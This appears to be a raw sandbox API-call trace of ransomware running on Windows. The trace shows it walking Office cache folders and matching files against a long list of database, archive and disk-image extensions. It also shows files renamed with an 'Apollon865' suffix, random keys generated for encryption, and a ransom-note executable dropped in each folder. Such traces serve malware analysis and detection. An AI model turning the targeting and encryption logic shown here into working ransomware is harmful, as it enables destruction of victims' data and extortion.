	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0077.650] lstrlenW (lpString="dbs") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0077.650] lstrlenW (lpString="dbt") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0077.650] lstrlenW (lpString="dbv") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0077.650] lstrlenW (lpString="dbx") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0077.650] lstrlenW (lpString="dcb") returned 3
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0077.650] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0077.651] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="setup.exe" | out: lpString1="setup.exe") returned="setup.exe"
	[0077.651] lstrlenW (lpString="setup.exe") returned 9
	[0077.651] lstrlenW (lpString="Apollon865") returned 10
	[0077.651] lstrlenW (lpString=".dll") returned 4
	[0077.651] lstrcmpiW (lpString1="setup.exe", lpString2=".dll") returned 1
	[0077.651] lstrlenW (lpString=".lnk") returned 4
	[0077.651] lstrcmpiW (lpString1="setup.exe", lpString2=".lnk") returned 1
	[0077.651] lstrlenW (lpString=".ini") returned 4
	[0077.651] lstrcmpiW (lpString1="setup.exe", lpString2=".ini") returned 1
	[0077.651] lstrlenW (lpString=".sys") returned 4
	[0077.651] lstrcmpiW (lpString1="setup.exe", lpString2=".sys") returned 1
	[0077.651] lstrlenW (lpString="setup.exe") returned 9
	[0077.651] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml"
	[0077.651] lstrlenW (lpString="Setup.xml") returned 9
	[0077.651] lstrlenW (lpString="Apollon865") returned 10
	[0077.651] lstrlenW (lpString=".dll") returned 4
	[0077.651] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1
	[0077.651] lstrlenW (lpString=".lnk") returned 4
	[0077.651] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1
	[0077.651] lstrlenW (lpString=".ini") returned 4
	[0077.651] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1
	[0077.651] lstrlenW (lpString=".sys") returned 4
	[0077.651] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1
	[0077.651] lstrlenW (lpString="Setup.xml") returned 9
	[0077.651] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865") returned 83
	[0077.651] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.652] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\Setup.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.652] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=31094) returned 1
	[0077.652] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.653] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfd60
	[0077.653] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfde8) returned 1
	[0077.653] CryptGenRandom (in: hProv=0x5bfde8, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.653] CryptReleaseContext (hProv=0x5bfde8, dwFlags=0x0) returned 1
	[0077.654] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7c80, lpName=0x0) returned 0x118
	[0077.655] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7c80) returned 0x100000
	[0077.657] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfde8) returned 1
	[0077.658] CryptGenRandom (in: hProv=0x5bfde8, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.658] CryptReleaseContext (hProv=0x5bfde8, dwFlags=0x0) returned 1
	[0077.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.658] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0077.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0077.658] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.658] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.659] CloseHandle (hObject=0x118) returned 1
	[0077.659] CloseHandle (hObject=0xc0) returned 1
	[0077.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfd60 | out: hHeap=0x580000) returned 1
	[0077.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.659] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbd907a00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbd907a00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0
	[0077.659] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0077.659] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0077.659] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C", iMaxLength=260 | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C"
	[0077.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0077.659] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0077.659] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned 62
	[0077.659] lstrcatW (in: lpString1="", lpString2="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C" | out: lpString1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C") returned="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C"
	[0077.659] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0077.659] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0077.665] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0077.665] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x465d70b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x465d70b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0077.665] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.665] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0077.665] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0077.665] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x465d70b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x465d70b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.665] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.665] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0077.665] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0077.665] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0077.665] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfa2b92d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc0c6890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc0c6890, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="Apollon865.txt.exe") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2=".") returned 1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="..") returned 1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="windows") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="bootmgr") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="temp") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="pagefile.sys") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="boot") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="ids.txt") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="ntuser.dat") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="perflogs") returned -1
	[0077.665] lstrcmpiW (lpString1="Access.en-us", lpString2="MSBuild") returned -1
	[0077.665] lstrlenW (lpString="Access.en-us") returned 12
	[0077.665] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\*") returned 64
	[0077.665] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="Access.en-us" | out: lpString1="Access.en-us") returned="Access.en-us"
	[0077.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0077.665] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x98) returned 0x5c8f30
	[0077.665] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7990
	[0077.665] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa160f00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd4200, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUISet.msi", cAlternateFileName="ACCESS~1.MSI")) returned 1
	[0077.665] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="Apollon865.txt.exe") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".") returned 1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="..") returned 1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="windows") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="bootmgr") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="temp") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="pagefile.sys") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="boot") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="ids.txt") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="ntuser.dat") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="perflogs") returned -1
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2="MSBuild") returned -1
	[0077.666] lstrlenW (lpString="AccessMUISet.msi") returned 16
	[0077.666] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us") returned 75
	[0077.666] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="AccessMUISet.msi" | out: lpString1="AccessMUISet.msi") returned="AccessMUISet.msi"
	[0077.666] lstrlenW (lpString="AccessMUISet.msi") returned 16
	[0077.666] lstrlenW (lpString="Apollon865") returned 10
	[0077.666] lstrcmpiW (lpString1="MUISet.msi", lpString2="Apollon865") returned 1
	[0077.666] lstrlenW (lpString=".dll") returned 4
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".dll") returned 1
	[0077.666] lstrlenW (lpString=".lnk") returned 4
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".lnk") returned 1
	[0077.666] lstrlenW (lpString=".ini") returned 4
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".ini") returned 1
	[0077.666] lstrlenW (lpString=".sys") returned 4
	[0077.666] lstrcmpiW (lpString1="AccessMUISet.msi", lpString2=".sys") returned 1
	[0077.666] lstrlenW (lpString="AccessMUISet.msi") returned 16
	[0077.666] lstrlenW (lpString="bak") returned 3
	[0077.666] lstrcmpiW (lpString1="msi", lpString2="bak") returned 1
	[0077.666] lstrlenW (lpString="ba_") returned 3
	[0077.666] lstrcmpiW (lpString1="msi", lpString2="ba_") returned 1
	[0077.666] lstrlenW (lpString="dbb") returned 3
	[0077.666] lstrcmpiW (lpString1="msi", lpString2="dbb") returned 1
	[0077.666] lstrlenW (lpString="vmdk") returned 4
	[0077.666] lstrcmpiW (lpString1=".msi", lpString2="vmdk") returned -1
	[0077.666] lstrlenW (lpString="rar") returned 3
	[0077.666] lstrcmpiW (lpString1="msi", lpString2="rar") returned -1
	[0077.666] lstrlenW (lpString="zip") returned 3
	[0077.666] lstrcmpiW (lpString1="msi", lpString2="zip") returned -1
	[0077.666] lstrlenW (lpString="tgz") returned 3
	[0077.666] lstrcmpiW (lpString1="msi", lpString2="tgz") returned -1
	[0077.667] lstrlenW (lpString="vbox") returned 4
	[0077.667] lstrcmpiW (lpString1=".msi", lpString2="vbox") returned -1
	[0077.667] lstrlenW (lpString="vdi") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="vdi") returned -1
	[0077.667] lstrlenW (lpString="vhd") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="vhd") returned -1
	[0077.667] lstrlenW (lpString="vhdx") returned 4
	[0077.667] lstrcmpiW (lpString1=".msi", lpString2="vhdx") returned -1
	[0077.667] lstrlenW (lpString="avhd") returned 4
	[0077.667] lstrcmpiW (lpString1=".msi", lpString2="avhd") returned -1
	[0077.667] lstrlenW (lpString="db") returned 2
	[0077.667] lstrcmpiW (lpString1="si", lpString2="db") returned 1
	[0077.667] lstrlenW (lpString="db2") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="db2") returned 1
	[0077.667] lstrlenW (lpString="db3") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="db3") returned 1
	[0077.667] lstrlenW (lpString="dbf") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="dbf") returned 1
	[0077.667] lstrlenW (lpString="mdf") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="mdf") returned 1
	[0077.667] lstrlenW (lpString="mdb") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="mdb") returned 1
	[0077.667] lstrlenW (lpString="sql") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="sql") returned -1
	[0077.667] lstrlenW (lpString="sqlite") returned 6
	[0077.667] lstrcmpiW (lpString1="et.msi", lpString2="sqlite") returned -1
	[0077.667] lstrlenW (lpString="sqlite3") returned 7
	[0077.667] lstrcmpiW (lpString1="Set.msi", lpString2="sqlite3") returned -1
	[0077.667] lstrlenW (lpString="sqlitedb") returned 8
	[0077.667] lstrcmpiW (lpString1="ISet.msi", lpString2="sqlitedb") returned -1
	[0077.667] lstrlenW (lpString="xml") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="xml") returned -1
	[0077.667] lstrlenW (lpString="$er") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="$er") returned 1
	[0077.667] lstrlenW (lpString="4dd") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="4dd") returned 1
	[0077.667] lstrlenW (lpString="4dl") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="4dl") returned 1
	[0077.667] lstrlenW (lpString="^^^") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="^^^") returned 1
	[0077.667] lstrlenW (lpString="abs") returned 3
	[0077.667] lstrcmpiW (lpString1="msi", lpString2="abs") returned 1
	[0077.667] lstrlenW (lpString="abx") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="abx") returned 1
	[0077.668] lstrlenW (lpString="accdb") returned 5
	[0077.668] lstrcmpiW (lpString1="t.msi", lpString2="accdb") returned 1
	[0077.668] lstrlenW (lpString="accdc") returned 5
	[0077.668] lstrcmpiW (lpString1="t.msi", lpString2="accdc") returned 1
	[0077.668] lstrlenW (lpString="accde") returned 5
	[0077.668] lstrcmpiW (lpString1="t.msi", lpString2="accde") returned 1
	[0077.668] lstrlenW (lpString="accdr") returned 5
	[0077.668] lstrcmpiW (lpString1="t.msi", lpString2="accdr") returned 1
	[0077.668] lstrlenW (lpString="accdt") returned 5
	[0077.668] lstrcmpiW (lpString1="t.msi", lpString2="accdt") returned 1
	[0077.668] lstrlenW (lpString="accdw") returned 5
	[0077.668] lstrcmpiW (lpString1="t.msi", lpString2="accdw") returned 1
	[0077.668] lstrlenW (lpString="accft") returned 5
	[0077.668] lstrcmpiW (lpString1="t.msi", lpString2="accft") returned 1
	[0077.668] lstrlenW (lpString="adb") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.668] lstrlenW (lpString="adb") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="adb") returned 1
	[0077.668] lstrlenW (lpString="ade") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="ade") returned 1
	[0077.668] lstrlenW (lpString="adf") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="adf") returned 1
	[0077.668] lstrlenW (lpString="adn") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="adn") returned 1
	[0077.668] lstrlenW (lpString="adp") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="adp") returned 1
	[0077.668] lstrlenW (lpString="alf") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="alf") returned 1
	[0077.668] lstrlenW (lpString="ask") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="ask") returned 1
	[0077.668] lstrlenW (lpString="btr") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="btr") returned 1
	[0077.668] lstrlenW (lpString="cat") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="cat") returned 1
	[0077.668] lstrlenW (lpString="cdb") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="cdb") returned 1
	[0077.668] lstrlenW (lpString="ckp") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="ckp") returned 1
	[0077.668] lstrlenW (lpString="cma") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="cma") returned 1
	[0077.668] lstrlenW (lpString="cpd") returned 3
	[0077.668] lstrcmpiW (lpString1="msi", lpString2="cpd") returned 1
	[0077.669] lstrlenW (lpString="dacpac") returned 6
	[0077.669] lstrcmpiW (lpString1="et.msi", lpString2="dacpac") returned 1
	[0077.669] lstrlenW (lpString="dad") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dad") returned 1
	[0077.669] lstrlenW (lpString="dadiagrams") returned 10
	[0077.669] lstrcmpiW (lpString1="MUISet.msi", lpString2="dadiagrams") returned 1
	[0077.669] lstrlenW (lpString="daschema") returned 8
	[0077.669] lstrcmpiW (lpString1="ISet.msi", lpString2="daschema") returned 1
	[0077.669] lstrlenW (lpString="db-journal") returned 10
	[0077.669] lstrcmpiW (lpString1="MUISet.msi", lpString2="db-journal") returned 1
	[0077.669] lstrlenW (lpString="db-shm") returned 6
	[0077.669] lstrcmpiW (lpString1="et.msi", lpString2="db-shm") returned 1
	[0077.669] lstrlenW (lpString="db-wal") returned 6
	[0077.669] lstrcmpiW (lpString1="et.msi", lpString2="db-wal") returned 1
	[0077.669] lstrlenW (lpString="dbc") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dbc") returned 1
	[0077.669] lstrlenW (lpString="dbs") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dbs") returned 1
	[0077.669] lstrlenW (lpString="dbt") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dbt") returned 1
	[0077.669] lstrlenW (lpString="dbv") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dbv") returned 1
	[0077.669] lstrlenW (lpString="dbx") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dbx") returned 1
	[0077.669] lstrlenW (lpString="dcb") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dcb") returned 1
	[0077.669] lstrlenW (lpString="dct") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dct") returned 1
	[0077.669] lstrlenW (lpString="dcx") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dcx") returned 1
	[0077.669] lstrlenW (lpString="ddl") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="ddl") returned 1
	[0077.669] lstrlenW (lpString="dlis") returned 4
	[0077.669] lstrcmpiW (lpString1=".msi", lpString2="dlis") returned -1
	[0077.669] lstrlenW (lpString="dp1") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dp1") returned 1
	[0077.669] lstrlenW (lpString="dqy") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dqy") returned 1
	[0077.669] lstrlenW (lpString="dsk") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dsk") returned 1
	[0077.669] lstrlenW (lpString="dsn") returned 3
	[0077.669] lstrcmpiW (lpString1="msi", lpString2="dsn") returned 1
	[0077.670] lstrlenW (lpString="dtsx") returned 4
	[0077.670] lstrcmpiW (lpString1=".msi", lpString2="dtsx") returned -1
	[0077.670] lstrlenW (lpString="dxl") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="dxl") returned 1
	[0077.670] lstrlenW (lpString="eco") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="eco") returned 1
	[0077.670] lstrlenW (lpString="ecx") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="ecx") returned 1
	[0077.670] lstrlenW (lpString="edb") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="edb") returned 1
	[0077.670] lstrlenW (lpString="epim") returned 4
	[0077.670] lstrcmpiW (lpString1=".msi", lpString2="epim") returned -1
	[0077.670] lstrlenW (lpString="fcd") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fcd") returned 1
	[0077.670] lstrlenW (lpString="fdb") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fdb") returned 1
	[0077.670] lstrlenW (lpString="fic") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fic") returned 1
	[0077.670] lstrlenW (lpString="flexolibrary") returned 12
	[0077.670] lstrcmpiW (lpString1="ssMUISet.msi", lpString2="flexolibrary") returned 1
	[0077.670] lstrlenW (lpString="fm5") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fm5") returned 1
	[0077.670] lstrlenW (lpString="fmp") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fmp") returned 1
	[0077.670] lstrlenW (lpString="fmp12") returned 5
	[0077.670] lstrcmpiW (lpString1="t.msi", lpString2="fmp12") returned 1
	[0077.670] lstrlenW (lpString="fmpsl") returned 5
	[0077.670] lstrcmpiW (lpString1="t.msi", lpString2="fmpsl") returned 1
	[0077.670] lstrlenW (lpString="fol") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fol") returned 1
	[0077.670] lstrlenW (lpString="fp3") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fp3") returned 1
	[0077.670] lstrlenW (lpString="fp4") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fp4") returned 1
	[0077.670] lstrlenW (lpString="fp5") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fp5") returned 1
	[0077.670] lstrlenW (lpString="fp7") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fp7") returned 1
	[0077.670] lstrlenW (lpString="fpt") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="fpt") returned 1
	[0077.670] lstrlenW (lpString="frm") returned 3
	[0077.670] lstrcmpiW (lpString1="msi", lpString2="frm") returned 1
	[0077.670] lstrlenW (lpString="gdb") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
	[0077.671] lstrlenW (lpString="gdb") returned 3
	[0077.671] lstrcmpiW (lpString1="msi", lpString2="gdb") returned 1
